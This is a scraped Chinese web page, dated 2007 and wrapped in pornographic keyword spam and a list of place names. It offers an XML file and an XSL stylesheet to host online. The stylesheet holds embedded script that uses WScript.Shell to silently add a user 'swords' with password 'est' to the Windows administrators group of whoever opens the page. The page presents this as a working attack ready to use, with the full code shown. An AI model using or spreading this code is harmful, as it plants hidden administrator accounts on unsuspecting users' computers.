最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

利用xml+xsl給客戶機(jī)添加超級管理帳戶!

 更新時(shí)間：2007年01月16日 00:00:00   作者：  

用法：把swords.xml和swords.xsl放在一個(gè)普通空間，相信很少人會(huì)注意xml的安全性吧，嘎嘎，只要把你想運(yùn)行的程序添加到run() 即可，默認(rèn)支持js和vbs.
這個(gè)程序加了一個(gè)用戶為 swords，密碼為est的超級管理員賬號(hào)。

swords.xml

<?xml version="1.0" encoding="GB2312"?>
<?xml-stylesheet type="text/xsl" href="swords.xsl"?>
<name>I am swords,I am admin!</name>


swords.xsl

<?xml version="1.0" encoding="gb2312"?>
<xsl:stylesheet xmlns:xsl="<xsl:template match="/">
<html>
<body>
<xsl:value-of select="name" />
<xsl:script>
function run()
{
var wsh;
var wsh = new ActiveXObject("WScript.Shell");
wsh.run( "net user swords est /add",0);
wsh.run( "net localgroup administrators swords /add",0);
wsh.run( "cmd.exe /c echo test!");
}
</xsl:script>
<xsl:eval>run()</xsl:eval>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

相關(guān)文章

最新評論

恩施市| 宜宾市| 清苑县| 松潘县| 乌海市| 广东省| 南阳市| 甘孜县| 竹北市| 敦煌市| 额济纳旗| 五寨县| 海兴县| 定日县| 文昌市| 济宁市| 分宜县| 康马县| 林甸县| 南涧| 登封市| 乌拉特后旗| 个旧市| 乐昌市| 旌德县| 大宁县| 上思县| 广德县| 杨浦区| 绵竹市| 长武县| 常山县| 新沂市| 蓬莱市| 岳阳市| 枞阳县| 扎囊县| 左贡县| 马龙县| 民丰县| 黄冈市|